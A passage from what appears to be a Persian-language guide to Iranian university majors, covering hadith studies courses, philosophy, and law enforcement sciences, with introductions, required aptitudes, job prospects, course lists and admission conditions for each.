    روش‌ تحقیق‌ ، اخلاق‌ ، تاریخ‌ اسلام‌ ، سیره‌ پیشوایان‌ دینی‌ ، زبان‌ تخصصی‌ ، منطق‌، آشنایی‌ با کلیات‌ علوم‌ عقلی‌، کلام‌ و عقاید اسلامی‌ ، تفسیر مقدماتی‌ ، صرف‌ و نحو کاربردی‌ ، قرائت‌ و درک‌ مفاهیم‌ از متون‌ حدیثی‌، قرائت‌ و درک‌ مفاهیم‌ از متون‌ تفسیری‌، قرائت‌ و درک‌ مفاهیم‌ از متون‌ فقهی‌ ، آشنایی‌ با فقه‌ مقدماتی‌، آشنایی‌ با اصول‌ فقه‌، قرائت‌ و تجوید قرآن‌ کریم‌، علوم‌ بلاغی‌ ، ترجمه‌ عربی‌ به‌ فارسی‌، ترجمه‌ فارسی‌ به‌ عربی‌، قرائت‌ مطبوعات‌ و استفاده‌ از رادیو ، مکالمه‌ و محاضره‌ (سمعی‌ و بصری‌) ، آشنایی‌ با فرق‌ اسلامی‌، آشنایی‌ با ادیان‌ توحیدی‌ (زرتشتی‌، یهودی‌، مسیحیت‌).
    دروس‌ اصلی‌ و تخصصی‌:
    کتابت‌ و تدوین‌ حدیث‌ ، شناخت‌ محدثان‌ ، مصطلحات‌ حدیث‌ ، طریق‌ تحمل‌ حدیث‌ ، جوامع‌ حدیثی‌ متقدم‌ و متأخر شیعه‌، جوامع‌ حدیثی‌ متقدم‌ و متأخر اهل‌ سنت‌، اصحاب‌ اجماع‌، توثیقات‌ عام‌ و خاص‌ ، احادیث‌ موضوعه‌ ، ملاک‌های‌ نقد حدیث‌، فقه‌الحدیث‌ ، آشنایی‌ با علم‌ رجال‌، راویان‌ عادل‌ و موثق‌، راویان‌ ضعیف‌، آشنایی‌ با کتب‌ رجال‌ شیعه‌، آشنایی‌ با کتب‌ رجال‌ اهل‌ سنت‌، مطالعات‌ جغرافیایی‌ درباره‌ رجال‌ حدیث‌، سیری‌ در نهج‌البلاغه‌ و شروح‌ آن‌ ، سنن‌النبی‌ (ص‌)، تأثیر حدیث‌ در ادبیات‌ فارسی‌، سهم‌ زنان‌ در نشر احادیث‌.

  80. فلسفه
    دیباچه: “فلسفه به انسان کمک می‌کند تا به اوج کمال نایل آید و به سعادت که از طریق نیل به عالم معقولات حاصل می‌شود، دست بیابد. پس فلسفه نه فقط از لحاظ فواید آن مورد توجه است بلکه فی‌نفسه نیز مطلوب است و از آن نمی‌توان صرف‌نظر کرد.” “ارسطو، فیلسوف مشهور یونانی”
    “فلسفه ناشی از بی‌عقلی و عدم رشد آگاهی انسان است و اگر بشر به حدی از رشد و آگاهی رسید، نیاز به فلسفه ندارد.”” اگوست کنت، دانشمند، فیلسوف و ریاضیدان مشهور فرانسوی ”
    دوعبارت فوق نشانگر دو دیدگاه متفاوت درباره فلسفه است که در طی قرون متمادی وجود داشته و گاه یکی بر دیگری چیره شده است؛ یعنی همیشه در طول تاریخ عده‌ای از متفکران، فلسفه را دوست داشتن خردمندی و فیلسوف را دوستـدار خردمندی معرفی کرده و عده‌ای دیگر فلسفه را هنر لفاظی و بازی کردن با واژه‌ها دانسته‌اند.راستی، فلسفه چیست و چه حیطه‌ای را در برمی‌گیرد که چنین دیدگاه‌های متفاوتی درباره آن وجود دارد؟برای تعریف فلسفه بهتر است که تفاوت آن را با سایر علوم توضیح داد چرا که سایر علوم هر یک به بخشی از موجودات عالم هستی می‌پردازند و آنها را مورد مطالعه و بررسی قرار می‌دهند. برای مثال یک گیاه‌شناس از بین همه موجودات هستی فقط گیاه را گزینش کرده و درباره آن سخن می‌گوید یا یک ستاره‌شناس تنها اجرام آسمانی را مطالعه می‌کند، اما فلسفه درباره یک موجود گزینش شده سخن نمی‌گوید. بلکه همه امور را در عالم هستی مورد بررسی قرار داده و با تمام موجودات سر و کار دارد. مثلاً‌ در فلسفه از خدا گرفته تا انسان، از عالم طبیعت گرفته تا ماوراء طبیعت و از روح انسان و موجودات غیرمادی گرفته تا اجسام، مورد بحث و گفتگو قرار می‌گیرد. تفاوت دوم فلسفه با سایر علوم در این است که در فلسفه مسائلی عام و کلی که درباره هرموجودی قابل طرح است، مورد مطالعه و تحقیق قرار می‌گیرد. برای مثال این سؤال که یک موجود مادی است یا غیرمادی، درباره هر موجودی از خدا گرفته تا یک تکه سنگ قابل طرح است. این دو فرق اساسی فلسفه با سایر علوم باعث شده که این علم بتواند به سؤالاتی پاسخ دهد که پاسخش بر عهده هیچکدام از علوم خاص به خصوص علوم تجربی نیست و در واقع وظیفه این علوم پاسخ به این گونه سؤال‌ها نیست. در حالی که این‌گونه سؤال‌ها برای انسان کنجکاو مطرح است و نمی‌توان به انسان دستور داد که درباره این مسائل فکر نکند. بلکه دانش خاصی لازم است که عهده‌دار و پاسخگوی سؤال‌هایی درباره هستی، موجودات و حقیقت انسان باشد و فلسفه همین دانش خاص است. رشته‌ فلسفه‌ نیز یک‌ رشته‌ آموزشی‌ است‌ که‌ کلیه‌ پرسش‌های‌ بنیادی‌ انسان‌ را نسبت‌ به‌ مسائل‌ وجود، هستی‌، جهان‌ پیرامون‌ انسان‌ و حقیقت‌ انسان‌ بررسی‌ می‌کند. پرسش‌هایی‌ که‌ زمانی‌ به‌ ارزش‌های‌ دینی‌ و معنوی‌ برمی‌گردد که‌ همان‌ فلسفه‌ دینی‌ است‌ و زمانی‌ مربوط‌ به‌ ارزش‌های‌ اخلاقی‌ و مبانی‌ ارزش‌های‌ اخلاقی‌ است‌ که‌ به‌ عنوان‌ فلسفه‌ اخلاق‌ آن‌ را می‌شناسیم‌ و گاه‌ مبانی‌ نظام‌ حکومتی‌ را در برمی‌گیرد که‌ همان‌ فلسفه‌ سیاسی‌ است‌ و گاهی‌ نیز شامل‌ مبانی‌ هنر و زیباشناسی‌ و موضوعاتی‌ از این‌ دست‌ می‌شود. البته‌ در دوره‌ کارشناسی‌ رشته‌ فلسفه‌، دانشجویان‌ بیشتر شناخت‌ مفصلی‌ درباره‌ تاریخ‌ فلسفه‌ غرب‌ به‌ دست‌ می‌آورند؛ یعنی‌ سیر تاریخی‌ فلسفه‌ را از فلسفه‌ یونان‌ تا زمان‌ حاضر و تا حدودی‌ نیز سیر تاریخی‌ فلسفه‌ اسلامی‌ را مطالعه‌ و بررسی‌ می‌کنند.گفتنی است که در کشور ما فلسفه اسلامی و فلسفه غرب به عنوان دو گرایش تحصیلی متفاوت ارائه شده است؛ یعنی رشته فلسفه در معنای عام آن به فلسفه غرب می‌پردازد و رشته الهیات گرایش فلسفه اسلامی، فلسفه و حکمت اسلامی را مورد بررسی قرار می‌دهد. سیستم آموزشی نیز دراین دو رشته تا حدودی تفاوت دارد؛ چون سیستم آموزش فلسفه غرب در کشور ما بیشتر براساس سیر تاریخی است اما سیستم آموزش فلسفه اسلامی براساس مکاتب فلسفی مثل فلسفه مشّاء، اشراق یا ملاصدرا می‌باشد. هر چند که دانشجویان هر یک از این دو رشته مطالعات محدودی نیز در زمینه فلسفه دیگر دارند؛ یعنی دانشجویان فلسفه غرب واحدهایی را در زمینه فلسفه اسلامی و دانشجویان فلسفه اسلامی واحدهایی را در زمینه فلسفه غرب می‌گذرانند.
    توانایی‌های‌ لازم‌ :
    یکی‌ از راه‌های‌ موفقیت‌ در فلسفه‌، آشنایی‌ اولیه‌ با ریاضیات‌ و مباحث‌ ریاضی‌ است‌. در واقع ریاضیات‌ پلی‌ مناسب‌ برای‌ رفتن‌ به‌ طرف‌ فلسفه‌ است. علاقه‌مندی‌ به‌ فلسفه‌ نیز یکی‌ دیگر از عوامل‌ موفقیت‌ در این‌ رشته‌ است‌. آشنایی‌ کامل‌ به زبان‌ انگلیسی‌ برای‌ دانشجویان‌ فلسفه‌ غرب‌ و آشنایی‌ به زبان‌ عربی‌ برای‌ دانشجویان‌ فلسفه‌ اسلامی‌ ضروری‌ است.
    موقعیت‌ شغلی‌ در ایران :
    رشته‌ فلسفه‌ اهمیت‌ بنیادی‌ در ارتقاء سطح‌ فکری‌ جامعه‌ دارد چرا که‌ هرجامعه‌ نیازمند افرادی‌ است‌ که‌ اهل‌ تفکر و نقادی‌ باشند و مسائل‌ فرهنگی‌ را فهمیده‌ و مبانی‌ فرهنگی‌ را تشخیص‌ دهند و رشته‌ فلسفه‌ وظیفه‌ پرورش‌ چنین‌ متفکرانی‌ را برعهده‌ دارد. اما متأسفانه‌ این‌ رشته‌ با همه‌ اهمیتش‌ در جامعه‌ ما بسیار مظلوم‌ واقع‌ شده‌ و مورد بی‌توجهی‌ و بی‌مهری‌ دست‌اندرکاران‌ نظام‌ قرار گرفته‌ است‌ تا جایی‌ که‌ فارغ‌التحصیلان‌ آن‌ حتی‌ موفق‌ به‌ استخدام‌ در آموزش‌ و پرورش‌ ـ که‌ متعارف‌ترین‌ زمینه‌ کاری‌ برای‌ یک‌ لیسانس‌ فلسفه‌ است‌ ـ نمی‌شوند. فارغ‌التحصیل‌ فلسفه‌ از نظر شغلی‌ یا باید به‌ عنوان‌ استاد و معلم‌ فلسفه‌ به‌ تدریس‌ فلسفه‌ بپردازد یا در مراکز پژوهشی‌ مثل‌ دایره المعارف‌ها و پژوهشگاه‌ علوم‌انسانی‌ فعالیت‌ کند که‌ البته‌ در چنین‌ مراکزی‌ بیشتر فارغ‌التحصیلان‌ فوق‌لیسانس‌ و دکترای‌ فلسفه‌ فعالیت‌ دارند و یک‌ لیسانس‌ فلسفه‌ در صورتی‌ که‌ فعال‌ و علاقه‌مند باشد، می‌تواند به‌ عنوان‌ دستیار پژوهشگر در بعضی‌ از این‌ مراکز مشغول‌ به‌ کار گردد.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ اصلی‌ و تخصصی‌:
    منطق‌ قدیم‌، منطق‌ جدید، منتخب‌ متون‌ کلامی‌ و فلسفی‌، تاریخ‌فلسفه‌اسلامی‌، علم‌ کلام‌، فلسفه‌ اسلامی‌، فلسفه‌ اخلاق‌ در تفکر غربی‌، اخلاق‌ در تفکر اسلامی‌، عرفان‌ نظری‌، تاریخ‌ فلسفه‌ یونان‌، تاریخ‌ فلسفه‌ قرون‌ وسطی‌ تا رنسانس‌، تاریخ‌ فلسفه‌ از “بیکن” تا “هیوم”‌، تاریخ‌ فلسفه‌ از “کانت” تا نیمه‌ دوم‌ قرن‌ نوزدهم‌، تاریخ‌ فلسفه‌ جدید و معاصر، فلسفه‌ معاصر و مکاتب‌ جدید قرن‌ بیستم‌، متون‌ فلسفی‌ به‌ زبان‌ خارجی‌، متون‌ فلسفی‌ به‌ زبان‌ عربی‌ ، متافیزیک‌ در غرب‌، فلسفه‌ علوم‌.

  81. کارشناسی علوم انتظامی
    دیباچه: ایران کشوری باستانی و با سابقه دو هزار ساله است. کشوری که در دوران سلسه هخامنشیان ، اولین سیستم حکومتی گسترده امپراطوری را بنیانگذاری کرد و در طی تاریخ پرفراز و نشیب خود، انواع سیستم‌های ایجاد نظم و ترتیب را مورد آزمایش قرار داد. یک صد سال پیش ، سیستم نوین ایجاد نظم و امنیت داخلی؛ یعنی سازمان پلیس در ایران به وجود آمد. براساس این سیستم پلیس ایران به دو قسمت مهم پلیس شهری و ژاندارمری تقسیم گردید. پس از انقلاب اسلامی، کمیته انقلاب اسلامی نیز به عنوان یکی از ارکان مهم حفظ نظم و امنیت داخلی و دفاع از ارزش‌های انقلاب در داخل کشور، به این مجموعه افزوده شد. در سال ۱۳۷۰ با تصمیم مجلس شورای اسلامی این سه نیرو در یکدیگر ادغام و سیستم پلیس واحد به وجود آمد. به دنبال طرح ادغام شهربانی، ژاندارمری ، کمیته انقلاب اسلامی و پلیس قضایی، دانشگاه پلیس نیز به “دانشگاه علوم انتظامی” با سازمان و ساختاری جدید تغییر یافت. این دانشگاه یکی از مهمترین واحدهای نیروی انتظامی جمهوری اسلامی ایران برای جذب و به کارگیری جوانان شایسته و تربیت و آموزش آنان است. این دانشگاه در مقطع کارشناسی دارای شاخه‌های انتظامی، کشف جرائم، اطلاعات، راهنمایی و رانندگی و خدمات و پشتیبانی است و دانشجویان از ترم چهارم، شاخه یا گرایش خود را انتخاب می‌کنند. مقطع کاردانی علوم انتظامی نیز دارای گرایش‌های راهنمایی و رانندگی و انتظامی است.شاخه انتظامی بخش انتظامی، بخش مأموریتی نیروی انتظامی در پاسگاه‌ها و کلانتری‌های موجود در سطح شهر و روستاها است و دانشجوی انتظامی دانش و مهارت‌ لازم را برای فعالیت در این بخش به‌دست می‌آورد.در واقع اولین وظیفه کارشناس انتظامی انجام تمهیداتی برای جلوگیری از جرم‌خیزی است. برای مثال برای پیشگیری از سرقت، کارشناس انتظامی باید به مردم هشدارها و اطلاعات لازم را بدهد، هشدارهایی از این قبیل که بهتر است درِ خانه را شب‌ها قفل کنند یا شب‌ها، پنجره‌ها را باز نگذارند. در واقع کارشناس علوم انتظامی با این هشدارهای بسیار ساده اما مؤثر، به آموزش عمومی و فرهنگ‌سازی می‌پردازد و از جرم‌خیزی پیشگیری‌ می‌کند. پس اولین وظیفه نیروی انتظامی، فراهم کردن شرایط اجتماعی به گونه‌ای است که سطح امنیت عمومی بالا برود. البته این وظیفه تمام متخصصان نیروی انتظامی است اما در شاخه انتظامی، اولین و مهمترین وظیفه، آموزش و پیشگیری است.
    درس‌های این رشته در طول تحصیل:
    دروس مشترک در شاخه‌های مختلف نیروی انتظامی :
    سازمان و مدیریت و نگرش در مدیریت اسلامی، مقدمات علم حقوق، روانشناسی رشد، حقوق اساسی‌، نقشه‌خوانی، حفاظت اطلاعات ، حقوق جزای عمومی ، سازمان و وظایف نیروی انتظامی ، تاریخ سیاسی معاصر ایران ، گزارش‌نویسی ، جنگ‌افزار‌شناسی، جغرافیا ، روانشناسی اجتماعی ، حقوق مدنی ، آشنایی با کامپیوتر ، ورزش رزمی ، اصول و قواعد نظامی ، مقابله با سوانح و بلایا ، جنگ‌افزار‌شناسی نیمه‌سنگین، عبور از موانع و عملیات اعتماد به نفس، مبانی اطلاعات، روش‌ها و فنون تدریس جرائم نیرو‌های مسلح، آیین‌ دادرسی کیفری، آیین دادرسی مدنی ، حقوق جزای اختصاصی ، مکانیک اتومبیل ، زبان تخصصی ، کاربرد قانون سلاح ، تاکتیک دسته در آفند و پدافند، امور انتظامی، آشنایی با راهنمایی و رانندگی، شناسایی مین و تله‌های انفجاری ، آشنایی با قاچاق ، مبارزه با مواد مخدر ، کشف علمی جرائم ، دروس تحقیقاتی ، جنگ‌های ویژه ، آسیب‌شناسی و مفاسد اجتماعی ، مخابرات ، جمع‌آوری ، کنترل اجتماعات، پزشکی قانونی ، تنظیم گزارشات قضایی ،کارورزی .
    دروس تخصصی شاخه انتظامی:
    جامعه‌شناسی شهری و روستایی، تاکتیک گروهان ، عملیات در کویر، کوهستان و جنگل، اصول ترافیک ، آیین راهنمایی و رانندگی، حمل بار، مسافر و کار و ابعاد وسایل نقلیه ، شماره‌گذاری، آزمایشات رانندگی و تصادفات ، وظایف فرمانده پاسگاه در شرایط عملیاتی ، عملیات گشتی – کمین و ضد کمین ، اماکن عمومی ، هدایت پاسگاه، دسته و گروهان ، جغرافیای شهری و روستایی .
    شاخه کشف جرائم:
    بدون شک وظیفه نیروی انتظامی در هر جامعه‌ای پیشگیری از جرم است، اما هر چقدر که بر روی پیشگیری کار شود، باز در جامعه جرم‌هایی اتفاق می‌افتد و در اکثر موارد نیز مجرم ‌مشخص نیست و دستگیر نمی‌شود. در این میان، وظیفه مأمور نیروی انتظامی شاخه کشف جرائم، این است که جرم پنهان مانده را کشف و مجرم را دستگیر کند؛ یعنی کارشناس کشف جرائم باید صحنه جرم را ببیند، شواهد صحنه را جمع‌آوری و براساس شواهد، تئوری‌سازی کند و سپس تئوری‌های مختلف را در کنار هم گذاشته و یک یک آنها را بررسی کند تا به تئوری نهایی برسد و براساس آن تئوری، فرد متهم را پیدا و دستگیر کند و از او بازجویی نماید. در واقع فارغ‌التحصیلان کشف جرائم، همان کارآگاه‌ها هستند. این شاخه دارای ۵ گرایش آگاهی، تشخیص هویت، مبارزه با جرائم اقتصادی، مبارزه با مواد مخدر و مبارزه با مفاسد اجتماعی است. (گفتنی است که دانشگاه علوم انتظامی هر ساله در تمامی گرایش‌های فوق دانشجو نمی‌پذیرد بلکه با توجه به نیاز و ضرورت نیروی انتظامی، گرایش‌های یاد شده ارائه می‌شود.)
    دروس اصلی مشترک در گرایش‌های مختلف کشف جرائم :
    جرم‌شناسی ، حقوق جزای عمومی، حقوق جزای اختصاصی (جرائم علیه اشخاص، جرائم علیه اموال و مالکیت، جرائم علیه امنیت، آسایش و اخلاق عمومی)، آیین‌ دادرسی کیفری، ادله اثبات دعوای کیفری ، حقوق دیپلماتیک و آداب کنسولی ، حقوق مدنی، آئین دادرسی مدنی ، پزشکی قانونی ، بررسی اصالت اسناد، طرز تشکیل پرونده قضایی،‌آشنایی با سازمان بین‌الملل پلیس جنایی (اینترپل)، آشنایی با بمب و تله‌های انفجاری، جرائم سازمان یافته ، جرائم رایانه‌ای ، کاربرد رایانه در کشف جرائم ، ‌زبان تخصصی ، مشاهده،‌ توصیف و چهره‌نگاری، روانشناسی عمومی، جغرافیای شهری و شهرشناسی، جامعه‌ شناسی جنایی، بزهکاری و اطفال نوجوانان ، احکام تخصصی کشف جرائم ، مبانی جامعه شناسی، کارورزی .(با توجه به تعدد گرایش‌های کشف جرائم ، از ذکر واحدهای تخصصی هر گرایش خودداری شده است.)
    شاخه اطلاعات:
    همان‌طور که از عنوان این شاخه پیدا است،‌ واحد اطلاعات نیروی انتظامی به فعالیت‌های اطلاعاتی می‌پردازد؛ یعنی در این واحد،‌ اطلاعات تمام رفتارهای اجتماعی کسب می‌شود و آمار و ارقام لازم جمع‌آوری می‌گردد.برای مثال، نیروی انتظامی برای آگاهی از برنامه و خط و ربط گروه‌های حمل قاچاق مواد مخدر نیاز به کارهای اطلاعاتی دارد. همچنین بسیاری از سرقت‌های مسلحانه سازمان یافته و ساختاریافته است؛ نیروی انتظامی برای اطلاع از این شبکه‌های سازمان یافته به کارشناسانی احتیاج دارد که به صورت مخفی فعالیت کنند و اطلاعات مختلف را از شبکه‌های مفاسد اجتماعی به دست‌ آورند. سپس اطلاعات کامل و جامع را به مراجع علنی نیروی انتظامی بدهند تا عملیات لازم، انجام و افراد مورد نظر دستگیر شوند. اهمیت این مسأله زمانی آشکار می‌شود که توجه داشته باشیم، بخش اصلی نیروی انتظامی، بخش علنی آن است و بدون شک نمی‌توان برای جمع‌آوری اطلاعات از شبکه‌های مفاسد اجتماعی از این نیروها یاری گرفت. در واقع نیروی انتظامی بدون یاری و همکاری واحد اطلاعات،‌ مثل خودرویی است که در شب بدون چراغ حرکت کند. به عبارت دیگر چراغ هدایت کننده و روشن کننده نیروی انتظامی، ‌واحد اطلاعات است. از همین رو، در این شاخه بحث‌های اطلاعاتی کشور ـ آنچه به نیروی انتظامی و سایر مردم جامعه مربوط می‌شود ـ بررسی و مطالعه می‌شود.
    دروس اختصاصی شاخه اطلاعات :
    سازمان و مدیریت اطلاعات، جمع‌آوری ، حفاظت اطلاعات، عملیات اطلاعات ، بازجویی و مصاحبه ، کشف علمی جرائم ، اماکن عمومی ، ابزارهای فنی اطلاعاتی، آشنایی با کشورهای همجوار، شناخت تمهیدات امنیتی و اجتماعی، اطلاع‌رسانی، احزاب و گروهک‌ها ، اطلاعات رزمی، بزهکاری اطفال و نوجوانان ، حقوق جزای اختصاصی ، مبانی علم سیاست، فعالیت‌های پنهانی و سازمان‌های اطلاعاتی، کارورزی.شاخه راهنمایی و رانندگیشاخه راهنمایی و رانندگی دارای سه گرایش خدمات فنی راهور، عملیات انتظامی راهور و مهندسی ترافیک است.گرایش خدمات فنی راهور کارشناس خدمات فنی راهور، تخصص لازم را برای شماره‌گذاری خودروها، صدور کارت ماشین و برگزاری آزمون رانندگی از متقاضیان گواهی‌نامه رانندگی به‌دست می‌آورد.
    دروس مشترک راهنمایی و رانندگی :
    ساختار و مقررات استخدامی ناجا ، سازمان و وظایف رده‌های راهور، مقدمه علم حقوق ، حقوق اساسی،‌ جنگ‌افزار شناسی، تیراندازی مشق‌های پای قبضه ، مبانی امور انتظامی،‌ روانشناسی عمومی ، مبانی جامعه‌شناسی،‌ریاضیات پایه ، آیین‌نامه راهنمایی و رانندگی ، کارورزی، جغرافیای شهری و شهرستان‌شناسی، امور انتظامی راهور ، جامعه‌شناسی ترافیک، روانشناسی ترافیک، زبان تخصصی، مقررات حمل بار و مسافر، مقررات بین‌المللی و کنوانسیون‌های حمل و نقل، حقوق جزای عمومی، آیین دادرسی کیفری، مسائل حقوقی تصادفات، آشنایی با قانون مجازات اسلامی، کشف علمی جرائم، اصول مهندسی ترافیک ، مهندسی ترافیک، صدور پروانه‌ها و آزمایش‌ها ، شماره‌گذاری وسائل نقلیه ، معاینه فنی وسائل نقلیه، احراز اصالت وسائل نقلیه، کاربرد فیزیک و مکانیک در تصادفات ، تصادفات ، تصادفات عابر پیاده ، کاربرد رایانه در امور راهنمایی و رانندگی، احکام تخصصی .دروس تخصصی خدمات فنی راهورشناسایی اسناد مجعول،‌ محیط‌زیست و ترافیک، آشنایی با انواع وسائل نقلیه،‌ آموزش رانندگی عملیاتی ، ارزیابی وسائل نقلیه ، آشنایی با کارکرد وسائل وتجهیزات معاینه فنی.
    گرایش عملیات انتظامی راهور:
    در این گرایش دانشجویان اطلاعات لازم را به عنوان افسر پلیس خیابان‌ها و جاده‌ها به دست می‌آورند؛ یعنی کارشناس این رشته با بازسازی صحنه تصادف وسائل نقلیه، مقصر یا مقصران تصادف را شناسایی و خسارت وارد شده را تعیین می‌کند همچنین می‌تواند عملیات امداد و کمک‌های اولیه را در تصادفات و سوانح انجام دهد.
    دروس تخصصی عملیات انتظامی راهور:
    شناسایی اسناد مجعول، اصول و مبانی‌ شهر‌سازی، کمک‌های اولیه در تصادفات و سوانح، مهندسی ترابری، آموزش رانندگی عملیاتی، پزشکی قانونی، ارزیابی وسائل نقلیه ، امور انتظامی راهور(تخصصی)، بازسازی صحنه تصادفات ، آشنایی با مواد مخدر و قاچاق کالا،‌ تعیین خسارت وسائل نقلیه.
    گرایش مهندسی ترافیک :
    در گرایش مهندسی ترافیک، طراحی سیستم ترافیک شهری آموزش داده می‌شود و کارشناس این رشته در هنگام طراحی خیابان‌ها و جاده‌ها مسؤولیت تعیین تقاطع‌ها، میدان‌ها، دوربرگردان‌ها و خیابان‌های یک طرفه و دو طرفه را بر عهده دارد. همچنین تعیین این‌که در چه ساعت‌هایی از روز باید در برخی از خیابان‌ها طرح ترافیک اجرا شود، بر عهده کارشناس مهندس ترافیک است.
    دروس تخصصی مهندسی ترافیک:
    آمار احتمالات مهندسی،‌ اصول و مبانی شهرسازی،‌ محیط‌زیست و ترافیک ،‌ آشنایی با نرم‌افزارهای طراحی، طرح هندسی راه ، ایمنی در ترافیک،‌ سیستم‌های حمل و نقل، برنامه‌ریزی حمل و نقل شهری،‌ اقتصاد در ترافیک و حمل و نقل، ‌سیستم‌های هوشمند ترافیک (ITS) ، مهندسی ترافیک محلی ، مهندسی کنترل ترافیک.
    شاخه خدمات و پشتیبانی :
    کارشناسان شاخه خدمات و پشتیبانی کارشناسی علوم انتظامی در بخش اداری نیروی انتظامی فعالیت می‌کنند. این شاخه دارای دو گرایش ارتباطات انتظامی یا مخابرات و نرم‌افزار کامپیوتر است. با توجه به این که گرایش‌های مخابرات و نرم‌افزار کامپیوتر در گروه آزمایشی ریاضی و فنی معرفی شده است، از معرفی آنها در این بخش خودداری شده است.
    دروس تخصصی گرایش ارتباطات انتظامی :
    فیزیک الکتریسته ،‌ کامپیوتر، ریاضیات پایه ، ماشین‌های الکتریکی ،‌سازمان و وظایف لجستیک ناجا(مخابرات) ، مخابرات و مدارات مخابراتی،‌ مدارهای الکتریکی،‌ سوئیچینگ،‌آنتن و انتشار امواج،‌ اصول حفاظت و امنیت مخابرات و جنگ‌های الکترونیک،‌ مدارهای منطقی ،‌ ‌اندازه‌گیری الکتریکی و الکترونیکی،‌ الکترونیک، مخابرات پیشرفته ،‌ کارگاه برق ماشین‌های الکتریکی،‌ ‌کارورزی.
    توانایی‌های لازم :
    نیروی انتظامی کشور، یک سازمان نظامی است و دانشجویان این رشته باید روحیه نظامی داشته باشند تا در این رشته موفق گردند. برای مثال، پلیس باید فردی فعال، اجتماعی و قانونمند باشد؛ یعنی بر سر قانون مصالحه نکند و نگوید چون فردی پیر، جوان یا بیمار است، اگر قانون‌شکنی کرد، اشکالی ندارد. بویژه آن بخش از نیروی انتظامی که با متخلفان سر و کار دارد، باید در رعایت قانون بسیار مصمم باشد. یکی دیگر از ویژگی‌های پلیس، داشتن صبر و حوصله و متانت و خویشتن‌داری بسیار است. برای مثال کارشناس عملیات انتظامی راهور در اوج سرمای زمستان و گرمای تابستان، در وسط یک چهارراه بدون هرگونه امکانات رفاهی می‌ایستد و انجام وظیفه می‌کند. بدون شک چنین فردی باید صبر و تحمل بسیاری داشته باشد. همچنین کارشناس کشف جرائم، بدون صبر و حوصله و دقت و موشکافی نمی‌تواند اطلاعات مورد نیاز را به دست آورد و مجرم را دستگیر کند. شغل نیروی انتظامی یک شغل خدماتی است و مأمور نیروی انتظامی، ارتباط مستقیم با مردم دارد از سوی دیگر اکثر مراجعه‌کنندگان به نیروی انتظامی، بویژه مراجعه‌کنندگان به کارشناسان کشف جرائم و انتظامی، افرادی هستند که از لحاظ روحی شرایط مساعدی ندارند چون یا مجرم هستند یا شاکی. از همین‌رو، یک پلیس باید انگیزه‌ای قوی برای خدمت به مردم داشته باشد تا در برخورد با مجرم یا شاکی میزان خدمات‌دهی او کاهش نیابد.در ضمن دانشجوی این رشته باید بداند که انجام مأموریت‌های پی در پی در شهرهای مختلف، یکی از ویژگی‌های شغلی پلیس است؛ یعنی فردی که در نیروی انتظامی فعالیت می‌کند، امکان دارد امسال در پایتخت باشد و سال دیگر در جنوب، شمال، شرق و یا غرب ایران خدمت کند. همچنین امکان دارد به دلیل مأموریت‌های ویژه، مثل مأموریت‌های شبانه یا آماده‌باش‌ها، هفته‌های متوالی زندگی روزمره و عادی خود را نداشته باشد. حتی دانشجویان این دانشگاه نسبت به دانشجویان رشته‌های دیگر، برنامه‌ها و فعالیت‌های بیشتری دارند. به همین دلیل دانشجویان علوم انتظامی – چه زن و چه مرد – در طی تحصیل حق ازدواج ندارند و بعد از فارغ‌التحصیلی نیز به آنها پیشنهاد می‌شود قبل از ازدواج، شرایط شغلی خود را برای شریک زندگی خود بگویند تا در آینده دچار مشکل نشوند.درباره ویژگی‌های لازم برای هر گرایش نیز باید گفت که دانشجوی علوم انتظامی در تمام شاخه‌ها و گرایش‌ها باید از قدرت تجزیه و تحلیل خوبی برخودار باشد اما این ویژگی برای دانشجوی کشف جرائم اهمیت بیشتری دارد چون کارشناس کشف جرائم باید بتواند با تجزیه و تحلیل مسائل و قدرت خلاقه ذهن خود، مجهول‌یابی کند. همچنین باید با مسائل حقوقی کاملاً آشنایی داشته باشد. دانشجوی اطلاعات نیز علاوه بر ویژگی‌های یاد شده، باید بسیار رازدار باشد تا بتواند به عنوان یک مأمور مخفی، اطلاعات مورد نیاز را به دست آورد و وظیفه خود را به نحو احسن انجام دهد.دانشجویان گرایش‌های مخابرات و کامپیوتر نیز باید در دروس ریاضی و فیزیک توانمند باشند. به همین دلیل این دسته از دانشجویان از بین داوطلبان گروه آزمایشی علوم ریاضی و فنی انتخاب می‌شوند.گفتنی است که دانشجویان دانشکده علوم پایه انتظامی جمهوری اسلامی از هر پنج گروه آزمایشی علوم ریاضی و فنی، علوم تجربی، علوم انسانی، هنر و زبان‌های خارجه انتخاب می‌شوند و داوطلبان این رشته باید علاوه بر شرایط عمومی، شرایط اختصاصی این دانشکده را داشته باشند.
    شرایط اختصاصی دانشکده علوم پایه انتظامی عبارت است از:
    داشتن حداقل ۱۷ و حداکثر ۲۱ سال سن برای داوطلبان مرد (داوطلبانی که خدمت وظیفه عمومی را انجام داده‌اند، مدت قانونی خدمت وظیفه عمومی به حداکثر سن آنها اضافه خواهد شد) و دارا بودن حداقل ۱۸ و حداکثر ۲۵ سال سن برای داوطلبان زن ، دارا بودن حداقل ۱۷۰ سانتی‌متر قد برای داوطلبان مرد و ۱۶۰ سانتی‌متر برای داوطلبان زن، دارا بودن حداقل معدل کتبی دیپلم ۱۴ برای داوطلبان زن، سپردن تعهد خدمت برابر مقررات نیروی انتظامی، پاسخ دادن به حداقل ۱۰ درصد از سؤال‌های ادبیات فارسی، ریاضی و زبان خارجه آزمون سراسری، داشتن سلامت جسمی و روحی کامل. داوطلبان زن این دانشگاه باید توجه داشته باشند که تمام برنامه‌های درسی و کلاس‌های عملی و مهارتی که در این دانشگاه برای آقایان برگزار می‌شود، برای خانم‌ها نیز برگزار می‌گردد. برای مثال به منظور تقویت قوای جسمانی و کسب مهارت‌های لازم ، ورزش‌های رزمی و دفاع شخصی تحت سه عنوان ورزش رزمی تکواندو، کاراته و جودو ارائه می‌گردد. البته مسؤولان دانشگاه انتظار ندارند که یک خانم با روحیات و خصلت‌های یک مرد، در نیروی انتظامی فعالیت کند، اما داوطلبان زن باید از آمادگی جسمی و روحی خوبی برخوردار باشند. در ضمن پوشش چادر برای دانشجویان زن دانشکده علوم پایه انتظامی و خانم‌های شاغل در نیروی انتظامی الزامی است.
    موقعیت شغلی در ایران :
